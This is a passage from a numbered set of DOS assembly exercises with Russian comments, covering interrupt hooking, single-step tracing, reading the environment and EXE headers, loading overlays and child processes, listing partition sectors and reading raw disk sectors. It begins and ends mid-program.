exit:

int 20h ; завершить работу

ir:

iret

code ends

end begin

11 ; Эта прога выполняет по шагам оверлей overlay.ovl

Program Segment para 'Code'

Assume cs:Program,ds:Program

Org 100h

Start: mov ax,2501h ; Настроить вектор прерывания 01h

mov dx,offset Tracer ; на процедуру Tracer

int 21h ;

mov ax,3D00h ;

mov dx,offset OvName ; Открывает файл overlay.ovl

int 21h ; для чтения

jc Failure ; если ошибка (сf=1)

; на метку Failure

xchg bx,ax ; дискриптор теперь в bx

mov ah,3Fh ; по дискриптору файла пере-

mov dx,offset OvLocation ; дает данные из файла в

mov cx,0FFFFh ; буфер OvLocation

int 21h ; сх=числу байтов для чтения

jc Failure ; если ошибка (сf=1)

pushf ; сохранить регистр флагов

or ah,3 ; установить флаг

push ax ; трассировки

popf ; tf=1

call OvLocation ; выполнить оверлей

popf ; восстановить регистр флагов

ret

Failure: mov ah,9

mov dx,offset FailMess ; сообщение "Can't load "

int 21h

ret

Tracer: push ax ; сохраняем ах

xor ax,ax ; ах=0

int 16h ; ждем нажатия клавиатуры

pop ax ; восстанавливаем ах

iret

FailMess db "Can't load "

OvName db 'OVERLAY.OVL',0,'$'

OvLocation Label near

Program Ends

End Start

Overlay

Program Segment para 'Code'

Assume cs:Program,ds:Program

Org 100h

Start: cld

mov cx,MessLen

call Print

Message db 'Ну очень тормозная программа !'

MessLen Equ $-Message

Print: pop si

Back: lodsb

int 29h

loop Back

ret

Program Ends

End Start

12 ;выполнение программы по шагам без захода в процедуры второго уровня

text segment 'code'

assume cs:text,ds:text

org 100h

Prog proc far

jmp Begin

Say macro MESSAGE_ADDR

lea dx,MESSAGE_ADDR

mov ah,9

int 21h

endm

mess1 db "1",10,13,"$"

mess2 db "2",10,13,"$"

mess3 db "3",10,13,"$"

mess4 db "4",10,13,"$"

mess5 db "5",10,13,"$"

mess6 db "6",10,13,"$"

mess7 db "7",10,13,"$"

mess8 db "Start Proc1",10,13,"$"

mess9 db "End Proc1",10,13,"$"

Begin:

mov ax,2501h ; Настроить вектор прерывания 01h

mov dx,offset Tracer ; на процедуру Tracer

int 21h ;

call Set_tf

Say mess1

Say mess2

Say mess3

call proc1

call Clr_tf

;********Завершить процесс********

exit:

mov ah,4ch

int 21h

Prog endp

Set_tf proc

pushf ; сохранить регистр флагов

pop ax

or ah,1 ; установить флаг

push ax ; трассировки

popf ; tf=1

ret

Set_tf endp

Clr_tf proc

pushf ; сохранить регистр флагов

pop ax

and ah,0feh ; сбросить флаг

push ax ; трассировки

popf ; tf=0

ret

Clr_tf endp

Tracer proc

push ax ; сохраняем ах

mov ah,08h

int 21h ; ждем нажатия клавиатуры

pop ax ; восстанавливаем ах

iret

Tracer endp

proc1 proc

Say mess8

call Clr_tf

call proc2

call Set_tf

Say mess9

ret

proc1 endp

proc2 proc

Say mess4

Say mess5

Say mess6

Say mess7

ret

proc2 endp

text ends

end Prog

13 ;вывести полный путь текущей программы

CODESG SEGMENT PARA 'CODE'

ASSUME CS:CODESG,DS:DATASG

BEGIN PROC FAR

mov ax,es:2ch ;адрес среды окружения в PSP

mov es,ax

mov bx,0

start:

mov al,byte ptr es:[bx]

cmp al,0

jne @a1

inc bx

mov al,byte ptr es:[bx]

cmp al,0 ;два нуля-конец окружения

jne @a1

add bx,3 ;2 байта под счетчик

outpath:

mov ah,02h ;вывод символа

mov dl,byte ptr es:[bx]

int 21h

inc bx

mov al,byte ptr es:[bx]

cmp al,0

je exit

jmp outpath

@a1:

inc bx

jmp start

exit:

mov ax,4c01h

int 21h

; RET

BEGIN ENDP

CODESG ENDS

DATASG SEGMENT PARA 'DATA'

DATASG ENDS

END BEGIN

14;Вывести полный путь текущей программы (взять из окружения)

;файл типа .exe

CODESG SEGMENT PARA 'CODE'

ASSUME CS:CODESG,DS:DATASG

BEGIN PROC FAR

mov ax,es:2ch ; адрес окружения в psp

mov es,ax ; es настроить на окружение

mov bx,0

start:

mov al,byte ptr es:[bx]

cmp al,0

jne @a1

inc bx

mov al,byte ptr es:[bx]

cmp al,0

jne @a1

add bx,3

outpath:

mov ah,02h

mov dl,byte ptr es:[bx]

int 21h

inc bx

mov al,byte ptr es:[bx]

cmp al,0

je exit

jmp outpath

@a1:

inc bx

jmp start

exit:

mov ax,4c01h

int 21h

BEGIN ENDP

CODESG ENDS

DATASG SEGMENT PARA 'DATA'

DATASG ENDS

END BEGIN

15 ;Программа выводит свою Relacation Table

;файл типа .exe

bufSize = 100

bufRtSize = 0FFFh

Say macro MESSAGE_ADDR

lea dx,&MESSAGE_ADDR

mov ah,9

int 21h

endm

CODESG SEGMENT PARA 'CODE'

ASSUME CS:CODESG,DS:DATASG

BEGIN PROC FAR

PUSH DS

SUB AX,AX

PUSH AX

MOV AX,DATASG

MOV DS,AX

;ОТКРЫТЬ ФАЙЛ НА ЧТЕНИЕ

MOV AH,3DH

MOV AL,0

LEA DX,FN

INT 21H

MOV handle,AX

;УСТАНОВКА УКАЗАТЕЛЯ НА НАЧАЛО Ф-ЛА

MOV AH,42H

MOV AL,00H

MOV BX,handle

MOV CX,0

MOV DX,0

INT 21H

;ЧТЕНИЕ ИЗ Ф-ЛА

MOV AH,3FH

MOV BX,handle

MOV CX,bufSize

MOV DX,OFFSET buf

INT 21H

lea bx,buf

mov ax,[bx+6]

mov ReloCnt,ax

push bx

call vivod

pop bx

mov ax,[bx+18h]

mov ReloOff,ax

push bx

call vivod

mov ax,ReloCnt

mov bx,2

mul bx

mov ReloSize,ax

pop bx

;УСТАНОВКА УКАЗАТЕЛЯ НА НАЧАЛО RT

MOV AH,42H

MOV AL,00H

MOV BX,handle

MOV CX,0

MOV DX,ReloOff

INT 21H

;ЧТЕНИЕ RT ИЗ Ф-ЛА

mov ax,ReloSize

mov bx,2

mul bx

MOV CX,AX

MOV AH,3FH

MOV BX,handle

MOV DX,OFFSET bufRt

INT 21H

;ЗАКРЫТЬ ФАЙЛ

MOV AH,3EH

MOV BX,handle

INT 21H

lea bx,bufRt

mov di,0

outRt:

push bx

Say mess1

mov ax,[bx+di]

call vivod

pop bx

inc di

push bx

Say mess2

mov ax,[bx+di]

call vivod

pop bx

dec ReloCnt

inc di

cmp ReloCnt,0

jne outRt

exit:

mov ax,4c01h

int 21h

BEGIN ENDP

VIVOD proc near

;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX

mov @,0h

xor dx,dx

mov bx,10

C3:

div bx

push dx

sub dx,dx

inc @

cmp ax,0

jne C3

mov cx,word ptr @

mov ch,0h

C4:

pop dx

add dl,30h

mov ah,02h

int 21h

loop C4

mov dl,0ah

mov ah,02h

int 21h

mov dl,0dh

mov ah,02h

int 21h

RET

VIVOD endp

CODESG ENDS

DATASG SEGMENT PARA 'DATA'

fn db 'rt.exe',0

handle dw ? ;дескриптор файла

buf db bufSize DUP(' ') ;область размещения первых байт заголовка файла

bufRt db bufRtSize DUP(' ') ;область размещения Relocation Table

ReloCnt dw 0 ;число 4-байтовых элементов в таблице перенастроики

ReloOff dw 0 ;смещение таблицы перенастроики

ReloSize dw 0 ;размер Relocation Table в словах (2 байта)

@ dw 00h

mess1 db "I_off: ","$"

mess2 db "I_seg: ","$"

DATASG ENDS

END BEGIN

16 ;Вывести размер текущей программы

;файл типа .exe

;ProgSize = (PageCnt-1)*512 + PartPage - HdrSize*16

bufSize = 100

CODESG SEGMENT PARA 'CODE'

ASSUME CS:CODESG,DS:DATASG

BEGIN PROC FAR

PUSH DS

SUB AX,AX

PUSH AX

MOV AX,DATASG

MOV DS,AX

;ОТКРЫТЬ ФАЙЛ НА ЧТЕНИЕ

MOV AH,3DH

MOV AL,0

LEA DX,FN

INT 21H

MOV handle,AX

;УСТАНОВКА КУРСОРА НА НАЧАЛО Ф-ЛА

MOV AH,42H

MOV AL,00H

MOV BX,handle

MOV CX,0

MOV DX,0

INT 21H

;ЧТЕНИЕ ИЗ Ф-ЛА

MOV AH,3FH

MOV BX,handle

MOV CX,bufSize

MOV DX,OFFSET buf

INT 21H

;ЗАКРЫТЬ ФАЙЛ

MOV AH,3EH

MOV BX,handle

INT 21H

lea bx,buf

mov ax,[bx+2]

mov PartPage,ax

push bx

call vivod

pop bx

mov ax,[bx+4]

mov PageCnt,ax

push bx

call vivod

pop bx

mov ax,[bx+8]

mov HdrSize,ax

push bx

call vivod

pop bx

;РАСЧЕТ РАЗМЕРА ЗАГРУЖАЕМОЙ ЧАСТИ

;ProgSize = (PageCnt-1)*512 + PartPage - HdrSize*16

mov ax,PageCnt

dec ax

mov bx,512

mul bx

;--------------------------------------

add ax,PartPage

mov ProgSize,ax

mov ax,HdrSize

mov bx,16

mul bx

;--------------------------------------

sub ProgSize,ax

mov ax,ProgSize

call vivod

exit:

mov ax,4c01h

int 21h

BEGIN ENDP

VIVOD proc near

;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX

mov @,0h

xor dx,dx

mov bx,10

C3:

div bx

push dx

sub dx,dx

inc @

cmp ax,0

jne C3

mov cx,word ptr @

mov ch,0h

C4:

pop dx

add dl,30h

mov ah,02h

int 21h

loop C4

mov dl,0ah

mov ah,02h

int 21h

mov dl,0dh

mov ah,02h

int 21h

RET

VIVOD endp

CODESG ENDS

DATASG SEGMENT PARA 'DATA'

fn db 'prg_size.exe',0

handle dw ? ;дескриптор файла

buf db bufSize DUP(' ') ;область размещения первых байт заголовка файла

PageCnt dw 0 ;длина загружаемой части в страницах, включая заголовок

PartPage dw 0 ;длина последней неполной страницы

HdrSize dw 0 ;размер заголовка в параграфах

ProgSize dw 0

@ dw 00h

DATASG ENDS

END BEGIN

17 ;Программа порождает дочерний процесс по пути

указанному в переменной окружения WORK.

;файл типа .exe

Переменная объявляется в autoexec.bat

;командой SET WORK = TEST.EXE

Say macro MESSAGE_ADDR

lea dx,&MESSAGE_ADDR

mov ah,9

int 21h

endm

CODESG SEGMENT PARA 'CODE'

ASSUME CS:CODESG,DS:DATASG

BEGIN PROC FAR

PUSH DS

SUB AX,AX

PUSH AX

MOV AX,DATASG

MOV DS,AX

;Программа .exe занимает всю память. Освободим ее.

mov ax,DATASG

mov ds,ax

mov ax,zz

mov dx,es

sub ax,dx

mov bx,ax

mov ah,4ah

int 21h

mov ax,es:2ch ; адрес окружения в psp

mov es,ax ; es настроить на окружение

;Найдем в окружении строку 'WORK='

;Сравним переменную в окружении с нашей

mov bx,0

cld ;поиск вперед

compr:

mov cx,len ;длина нашей переменной

mov si,offset envVar

mov di,bx ;es:di -> начало строки

repe cmpsb ;сравнение

je gotit ;нашли нашу переменную

;Переменная не совпадает с нашей. Будем искать следующую.

;Сначала найдем 0, т.е. конец строки вида переменная = значение.

tstnul:

cmp byte ptr es:[bx],0

je gotnul ;нашли 0

inc bx

jmp tstnul

;Определим, нет ли после этого второго 0 - конца всего окружения

gotnul:

inc bx

cmp byte ptr es:[bx],0 ;Это 0?

jne compr ;Нет, на сравнение следующей переменной.

;Нашли второй 0 - конец окружения

;Нужная переменная окружения отсутствует.

Say mess1

jmp exit

gotit:

mov bx,-1

noteend:

inc bx

cmp byte ptr es:[di][bx],0

jne noteend

;В ВХ длина значения переменной окружения

mov cx,bx

;Взаимообмен содержимого сегментных регистров

push es

push ds

pop es

pop ds

;DS:SI -> имя файла в окружении

;ES:DI -> место для имени файла в программе

mov si,di

mov di,offset es:fname

rep movsb

;Восстановим адресацию

push es

pop ds

;Запуск дочернего процесса

mov ax,DATASG

mov es,ax

mov ah,4bh

mov al,0

mov dx,offset fName

int 21h

; Say fName

exit:

mov ax,4c01h

int 21h

BEGIN ENDP

CODESG ENDS

DATASG SEGMENT PARA 'DATA'

envVar db 'WORK='

len = $-envVar

mess1 db "Переменная окружения отсутствует!",10,13,"$"

fName db 80 dup(0)

DATASG ENDS

ZZ SEGMENT 'endseg'

zz ENDS

END BEGIN

18 ; Обращение к PSP и переменным добавление

; переменной дос TEMP1=<ком. строка>

include macromax.h

ini_st

s_date segment para public'date'

dat_fun

adrpsp dw ?

temp1 db 'TEMP1=',0

Param db 'C:\OBERMAN.MAX\TASMED\OVER_N1.EXE',0

PB dw 0

dw 0

dt 0

s_date ends

s_code segment para public'code'

main proc far

begin

mov ax,ss

sub ax,16

mov es,ax

mov adrpsp,ax

mov es,es:[2Ch]

mov cx,1000

mov di,0

rt1: mov al,es:[di]

cmp al,1

je eret

inc di

loop rt1

eret:

mov bx,es

mov es,adrpsp

cmp es:[80h],byte ptr 0

je notemp

mov es,bx

mov si,0

mov cx,6

; добавить 'TEMP1='

totmp: mov al,temp1[si]

mov es:[di],al

inc si

inc di

loop totmp

; добавить командную строку - имя файла оверлея.

mov es,adrpsp

mov si,80h

mov cl,es:[si]

dec cl

xor ch,ch

mov si,81h

topsp: mov es,adrpsp

mov al,es:[si]

mov es,bx

mov es:[di],al

inc si

inc di

loop topsp

mov al,1

mov es:[di],al

notemp:

; освободить память под дочерний процес

mov bx,zzz

mov es,adrpsp

mov ax,es

sub bx,ax

mov ah,4Ah

int 21h

; загрузить оверлей

mov ax,zzz

mov PB,ax

lea dx,Param

mov ax,ds ; es:bx <- Parametr Block

mov es,ax

lea bx,PB

mov ax,4B00h

int 21h

retf

endp

s_code ends

zzz segment para

zzz ends

end main

19 ;программа выводящая положение загрузочных секторов

;показывает расширенный раздел с номером

;и относящиеся к нему SMBR с тем же номером

include user.inc

.com 16

org 100

begin:

cld

xor cx,cx

inc cx

mov dh,ch

;считать MBR

call read_pt

jc bad

mov bp,off header

call print

mov di,bp

push di

mov al,' '

mov cl,len_header-3

rep stosb

pop di

mov cl,4

;обработать его 4 записи

cycle1:

call load

lodsb

or al,al

jz not_used

cmp al,5

jne normal

inc extern

push dx

push bx

mov bp,off externl

call print

normal:

push di

call set_hcs

pop di

mov bp,di

call print

add si,+0C

loop cycle1

not_used:

mov cl,extern

and cl,0f

or cx,cx

jz no_thing

next_ext:

;обработать расширенный раздел ДОС

pop bx

pop dx

push cx

smbr:

mov cx,bx

;загрузить SMBR

call read_pt

jc bad

call load

mov bp,off extern

call print

push di

call set_hcs

pop di

mov bp,di

call print

call load

;есть ли следующий логический диск

or al,al

jnz smbr

pop cx

loop next_ext

no_thing:

ret

bad:

call print

mov ax,4c00

int 21

read_pt proc

mov bp,off read_e

mov ax,0201

mov bx,off buf_sec

mov dl,80

int 13

jc error

add bx,1bf

mov si,bx

error:

ret

endp

set_hcs proc

xor ax,ax

mov al,dh

call word_s

scasw

scasw

push bx

mov ax,bx

push cx

mov cl,6

shr al,cl

xchg ah,al

pop cx

call word_s

scasw

scasw

scasb

pop ax

and ax,03f

call word_s

ret

endp

word_s proc

;распечатать содержимое АХ

push cx

mov cx,0404

LLL: rol ax,cl

push ax

and al,0F

aam

aad

org $-1

db 11

add al,30

stosb

pop ax

dec ch

jnz LLL

pop cx

ret

endp

print proc

mov dx,bp

mov ah,9

int 21

ret

endp

load proc

lodsb

mov dh,al

lodsw

mov bx,ax

ret

endp

header db 'BHead BCylinder BSector',eos

len_header = $-off header

externl db 'External Part N'

extern db 30

endl db eos

read_e db 'Error of disk reading',eos

buf_sec = $-begin+100

end begin

user.inc

return equ org $-1

eos equ 10d,13d,'$'

bpt equ byte ptr

wpt equ word ptr

off equ offset

jmps equ jmp short

jmps2 equ jmps $+2

.com macro abac

.model tiny

.code

ife abac eq 0

.radix abac

endif

endm

20 ; прога бибикающая каждые 5 сек

text segment 'code'

assume cs:text,ds:text

org 100h

resid proc far

jmp init

n dw 0

delay equ 100 ;5 seconds

PORT_B EQU 61H

NUM_CES EQU 1000

FREQ EQU 2000

entry:

push ax

push bx

inc n

mov ax,n

cmp ax,delay

jng quit

mov n,0

cli

mov dx,num_ces

in al,PORT_B

and al,11111110b

next_cle:

or al,00000010b

out PORT_B,al

mov cx,FREQ

fir_half:

loop fir_half

and al,11111101b

out PORT_B,al

mov cx,FREQ

sec_half:

loop sec_half

dec dx

jnz next_cle

sti

quit:

pop bx

pop ax

iret

resid endp

ressize equ $-resid

init proc

push cs

pop ds

lea dx,mes1

mov ah,9

int 21h

lea dx,entry

mov ax,251Ch

int 21h

mov dx,(ressize+10fh)/16

mov ax,3100h

int 21h

init endp

mes1 db '(C)Действовалка на нервы by я ',10,13

db 'Теперь будем бибикать через каждые 5 секунд...',10,13,'$'

text ends

end resid

21;программа читает заданный сектор заданного файла

;без проверки на правильность введенного номера

;номер сектора должен вводиться в hex формате

bufLen = 9*256

catLen = (32*224)

Say macro MESSAGE_ADDR

lea dx,&MESSAGE_ADDR

mov ah,9

int 21h

endm

text segment 'CODE'

assume cs:text,ds:data

MAIN PROC far

PUSH DS

SUB AX,AX

PUSH AX

MOV AX,DATA

MOV DS,AX

;определить длину строки параметров

mov al,byte ptr es:[80h]

mov parmLen,al

cmp al,0

jne Work

Say mess0

jmp exit

Work:

;выбрать из строки параметров номер сектора

call ConvertToHex

mov ax,ReadCluster

call vivod

;прочитать FAT в буфер

call ReadFat

;прочитать корневой каталог в буфер

call ReadCat

;поиск файла в корневом каталоге

call SearchFile

;вычисление относительного номера сектора

mov ax,CurCluster

add ax,31

add CurSector,ax

call vivod

mov ax,CurCluster

call vivod

;если задан первый сектор файла, то сразу читать его

mov cx,ReadCluster

cmp cx,1

je @a1

;иначе, отследить по FAT положение сектора файла

start:

call GetFatElement

loop start

@a1:

;один сектор на кластер

;получить сектор

call GetFileCluster

;вывести сектор

call OutFileCluster

;*******завершить процесс********

exit:

mov ah,4ch

int 21h

MAIN ENDP

;поиск файла в корневом каталоге для определения стартового кластера

SearchFile PROC

mov ax,SEG fName

mov ds,ax

mov ax,SEG catBuf

mov es,ax

mov bx,0

mov @,224

cld

;сравниваем имя файла

compr1:

mov cx,lenFn

mov si,offset fName

mov di,offset catBuf

add di,bx

repe cmpsb

je compr2

add bx,32

dec @

cmp @,0

jne compr1

jmp nofile

;сравниваем расширение файла

compr2:

mov cx,lenFe

mov si,offset fExt

mov di,offset catBuf

add di,bx

add di,08h

repe cmpsb

je file

add bx,32

jmp compr1

file:

Say mess1

add bx,1ah

;прочитать номер стартового кластера файла

mov al,catBuf[bx]

mov ah,catBuf[bx+1]

mov CurCluster,ax

ret

;файл не найден

nofile:

Say mess2

ret

SearchFile ENDP

;принимает в CurCluster номер кластера файла

GetFatElement PROC ;возвращает в CurCluster содержимое поля FAT

push cx

mov bx,offset fatBuf ;т.е. номер следующего элемента FAT

mov ax,CurCluster

shl ax,1 ;кластер * 2

add ax,CurCluster ;кластер * 3

test ax,1

pushf

shr ax,1 ;кластер * 1.5

add bx,ax

mov ax,[bx]

popf

jz B1

mov cl,4 ;произведение - дробное число

shr ax,cl

jmp B2

B1: and ax,0fffh ;произведение - целое число

B2: mov CurCluster,ax

mov CurSector,ax

add CurSector,31

pop cx

ret

GetFatElement ENDP

;читает сектор файла в filebuf

GetFileCluster PROC

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,01H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,CurSector ;НОМЕР СЕКТОРА

MOV BX,SEG filebuf

MOV DS,BX

mov BX,offset filebuf

INT 25H

popf

ret

GetFileCluster ENDP

;выводит сектор файла из filebuf на экран

OutFileCluster PROC

MOV AH,40H ;Функция вывода на экран

MOV BX,01 ;Номер устройства

MOV CX,512 ;Длина

LEA DX,filebuf

INT 21H

ret

OutFileCluster ENDP

;читает FAT в fatBuf

ReadFat PROC

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG fatBuf

MOV DS,BX

mov BX,offset fatBuf

INT 25H ;прочитать FAT в buf

popf

ret

ReadFat ENDP

;читает корневой каталог в catBuf

ReadCat PROC

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,0EH ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,19 ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG catBuf

MOV DS,BX

mov BX,offset catBuf

INT 25H

popf

ret

ReadCat ENDP

;пропускает стартовые пробелы строки параметров

SkipSpace proc near

NextSpace:

cmp byte ptr [si],' '

jne Cont

inc si

dec parmLen

jmp NextSpace

Cont:

ret

SkipSpace endp

;Преобразование числа в строке параметров в hex формат

ConvertToHex proc

mov si,81h

inc si ;Настроить si на первый символ командной строки

dec parmLen

call SkipSpace

xor cx,cx

mov cl,parmLen

xor ax,ax

convert:

push cx

mov al,es:[si]

CMP AL,39H

JBE B

SUB AL,7H

B:

SUB AL,30H

XOR AH,AH

MOV CL,4

SHL ReadCluster,CL

ADD ReadCluster,AX

pop cx

inc si

loop convert

ret

ConvertToHex endp

VIVOD proc near

;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX

;ВЫВОД ОСУЩЕСТВЛЯЕТСЯ В ДЕСЯТИЧНОМ ФОРМАТЕ

mov @,0h

xor dx,dx

mov bx,10

C3:

div bx

push dx

sub dx,dx

inc @

cmp ax,0

jne C3

mov cx,word ptr @

mov ch,0h

C4:

pop dx

add dl,30h

mov ah,02h

int 21h

loop C4

mov dl,' '

mov ah,02h

int 21h

RET

VIVOD endp

text ends

data segment

@ dw 00h

fatBuf dw bufLen DUP(0) ;Область размещения FAT

catBuf db catLen DUP(0) ;Область размещения корневого каталога

filebuf db 512 dup(0) ;область ввода кластеров файла

fName db 'README'

lenFn = $-fName

; fName db 'RT'

; lenFn = $-fName

fExt db 'TXT'

lenFe = $-fExt

; fExt db 'ASM'

; lenFe = $-fExt

CurCluster dw ?

ReadCluster dw 0

CurSector dw ?

parmLen db ?

mess0 db "Укажите номер сектора файла в шестнадцатиричном формате!",10,13,"$"

mess1 db "Файл найден!",10,13,"$"

mess2 db "Файл не найден!",10,13,"$"

data ends

end

22 ; трассирование процедуры по шагам без без захода в подпроцедуры

;

ideal

jumps

p286

model tiny,pascal

codeseg

startupcode

mov ax, 3501h ; получить адрес 1го вектора

int 21h

mov [word ptr old_int_01h], bx ; запомнить его

mov bx, es

mov [word ptr old_int_01h + 2], bx

mov ah, 25h ; загрузить новое значение

push cs ; установка ds

pop ds

mov dx, offset my_trace

int 21h

pushf ; запоминание флагов без трассировки

push cs ; сегмент для far call

pushf ; текущие значения флагов

pop ax ; в ax

or ax, 0000000100000000b ; включить бит трассировки

push ax

popf ; включить трассировку

call _test ; вызвать процедуру

mov bx, [word ptr old_int_01h + 2] ; востановить старый вектор

mov es, dx

mov bx, [word ptr old_int_01h]

mov ax, 2501h ; загрузка адреса 1го вектора

int 21h

ret ; выход

proc _test

mov cx, 10h ; повторить 10 раз

@@m_1:

mov ax, 0E2Ah ; выводим символ '-'

int 10h

pushf ; сохраняем трассируемые флаги

push cs ; для far call

pushf

pop ax

and ax, 1111111011111111b ; запрет трассировки

push ax

popf

call _test_2 ; вызов подпроцедуры

loop @@m_1

iret ; iret для автоматического востановления флагов при выходе

endp _test

proc _test_2

inc dx ; просто увеличить dx

iret ; возврат с востановлением флагов

endp _test_2

proc my_trace far

push ax bx

mov ax, 0E2Dh ; вывести на экран '*'

xor bx, bx ; нулевая страница

int 10h

pop bx ax

iret ; выход из обработчика

endp my_trace

udataseg

old_int_01h dd ? ; старый обработчик

end

23 ; Вывести RT

ideal

jumps

p286

model small,pascal

codeseg

startupcode

push ds es ; сохранить ds, es

mov ah, 62h ; получить PSP текущего процесса

int 21h

mov ds, bx ; в bx сегмент PSP

mov ax, [word ptr 2Ch] ; сегмент окружения

xor di, di ; с начала сегмента

mov es, ax

cld ; сброс направления

mov cx, 0FFFFh ; до конца

mov ax, 0100h ; искать два байта 00 и 01

repnz scasw

inc di

mov dx, di

push es ; настройка ds на окружение

pop ds

mov ax, 3D00h ; открыть файл для чтения

int 21h

jc @@exit ; при ошибке

pop es ds

mov [handle], ax ; запомнить хендл

xchg bx, ax ; запись его в ax

mov ah, 3Fh ; читать из файла

mov cx, 1Ch ; размер заголовка EXE

mov dx, seg buffer ; куда писать?

mov ds, dx

mov dx, offset buffer

int 21h

jc @@exit ; при ошибке

mov dx, [buffer + 18h] ; смещение RT от начала файла

sub dx, 1Ch ; уже прочитали 1Ch

mov ax, 4201h ; перемещение указателя от текущей позиции

xor cx, cx ; старшее слово смещения

int 21h

jc @@exit

mov cx, [buffer + 06h] ; число записей в RT

shl cx, 2 ; word -> byte

mov ah, 3Fh ; читать

mov dx, offset buffer2 ; в буфер #2

int 21h

jc @@exit

shr cx, 2 ; byte -> word

mov al, 01h ; номер по счету

mov bx, offset buffer2

@@_1:

call prn_byte ; печать номера

push ax ; сохраним

mov ax, 0E20h ; печать пробела

int 10h

call prn_dword ; печать двух слов

pop ax

add bx, 4 ; указатель на два слова дальше

inc al ; счетчик++

loop @@_1

@@exit:

mov bx, [handle] ; закрыть файл

mov ah, 3Eh

int 21h

mov ax, 4C00h ; выход в дос с errorlevel 0

int 21h

proc prn_byte

push ax bx ax

shr al, 4 ; начинаем со старшей тетрады

add al, '0' ; перевод в ascii

cmp al, '9' ; число или буква?

jle @@prn ; число -- печатаем

add al, 'A' - '0' - 10 ; корректировка буквы

@@prn:

mov ah, 0Eh ; печать символа

xor bx, bx

int 10h

pop ax ; востанавливаем ax

and ax, 0Fh ; младшая тетрада

add al, '0'

cmp al, '9'

jle @@prn2

add al, 'A' - '0' - 10

@@prn2:

mov ah, 0Eh

xor bx, bx

int 10h

pop bx ax

ret

endp prn_byte

proc prn_dword

push ax bx

mov ax, [word ptr bx] ; первое слово

xchg al, ah ; пачать со старшего байта

call prn_byte

xchg al, ah ; младший байт

call prn_byte

mov ax, 0E20h ; пробел

push bx

xor bx, bx

int 10h

pop bx

mov ax, [word ptr bx + 2] ; второе слово

xchg al, ah

call prn_byte

xchg al, ah

call prn_byte

mov ax, 0E20h

xor bx, bx

int 10h

mov al, 10 ; перевод строки

int 10h

mov al, 13

int 10h

pop bx ax

ret

endp prn_dword

udataseg

handle dw ? ; хендл файла

buffer dw 14 dup(?)

buffer2 dd 4096 dup(?)

stack 1000h

end

24 ; программа с двумя точками входа

ideal

jumps

p286

model tiny,pascal

codeseg

startupcode

mov al, [byte ptr 82h] ; первый символ командной строки

cmp al, '1' ; при параметре 1 -- пикнуть один раз

jz @@_1

cmp al, '2' ; при параметре 2 -- пикнуть два раза

jz @@_2

ret

@@_1:

mov ax, 0E07h

int 10h

ret

@@_2:

mov ax, 0E07h

int 10h

int 10h

ret

end

25; загрузить процесс указанный в переменной среды

ideal

jumps

p286

model tiny,pascal

stack_size equ 100h

codeseg

startupcode

mov bx, (offset prog_end + stack_size) ; корректировка стека

and bx, 1111111111111110b ; четное значение

mov sp, bx

mov ah, 4ah ; изменить размер памяти отведенный программе

mov bx, (offset prog_end + 15 + stack_size)

shr bx, 4 ; в параграфах

int 21h

mov ax, [2Ch] ; окружение

mov es, ax

xor di, di

@@next:

mov cx, 0FFFFh

cld

xor al, al

repnz scasb ; конец строки

jne @@exit

cmp [byte ptr es:di + 1], 00h ; конец окружения?

jz @@exit ; выход

mov si, offset env_const ; искать строку

mov cx, 6 ; ее длина

repz cmpsb

or cx, cx ; всю нашли?

jnz @@next

dec di

call exec

@@exit:

int 20h

proc exec near

push es

mov ax, 4b00h ; выполнить программу

mov dx, cs

mov [word ptr p_block+4], dx ; загрузка параметров call block'а

mov dx, di

mov bx, offset p_block

pop ds ; ds:ds -- имя программы

int 21h

push cs

pop ds

ret

endp exec

env_const db 'AAA1=' ; какйю переменную используем

p_block dw 0

dw offset cmd_line

dw ?

dd 0, 0

cmd_line db 0,13 ; пустая командная строка

label prog_end word

end

26 ; загрузка оверлея со словом -- точка входа

ideal

jumps

p286

model tiny,pascal

stack_size equ 100h

codeseg

startupcode

mov bx, (offset prog_end + stack_size) ; установка стека

and bx, 1111111111111110b ; четное значение

mov sp, bx

mov ah, 4ah ; изменить размер блока памяти

mov bx, (offset prog_end + 15 + stack_size)

shr bx, 4 ; параграфы

int 21h

mov ah, 48h ; выделить блок

mov bx, 10h ; размером 256 байт

int 21h

jc @@_exit

mov [call_block], ax ; точка входа (сегмент)

mov [word ptr new_prog + 2], ax

mov ax, 4B03h ; загрузить но не выполнять

mov dx, offset prg_name

mov bx, offset call_block

int 21h

mov ax, [call_block]

mov es, ax

mov ax, [word ptr es:0] ; первое слово -- смещение входа

mov [word ptr new_prog], ax

call [dword ptr new_prog] ; вызвать оверлей

mov ax, [call_block]

mov es, ax

mov ah, 49h ; освободить память

int 21h

@@_exit:

int 20h

dataseg

new_prog dd 0

prg_name db '2.bin',0

call_block dw 0

dw 0

udataseg

label prog_end word

end

27 при нажатии Ctrl-Break бибип и выход

ideal

jumps

p286

model tiny,pascal

codeseg

startupcode

jmp load

proc new_int_23h far

push ax bx

mov ax, 0e07h ; пикнуть

xor bx, bx

int 10h

pop bx ax

jmp [dword ptr cs:old_int_23h] ; и выйти через старый обработчик

endp new_int_23h

old_int_23h dd 0 ; старый вектор

load:

mov ax, 3523h ; получить вектор

int 21h

mov [word ptr old_int_23h], bx

mov [word ptr old_int_23h+2],es

mov ah, 25h ; установить свой

mov dx, offset new_int_23h

int 21h

mov ah, 01h ; ждать нажатия клавиши (с реакцией на ctrl-break, ctrl-c)

int 21h

int 20h

end

28; рез. программа на int 16h с защитой от повторного запуска

ideal

jumps

p286

model tiny,pascal

codeseg

startupcode

jmp load

proc new_int_16h far

push ax

mov ax, 0E07h ; пикнуть

int 10h

pop ax

jmp [dword ptr cs:old_int_16h] ; на старый вектор

endp new_int_16h

proc new_int_2Fh far

cmp ax, 0F104h ; волшебное слово

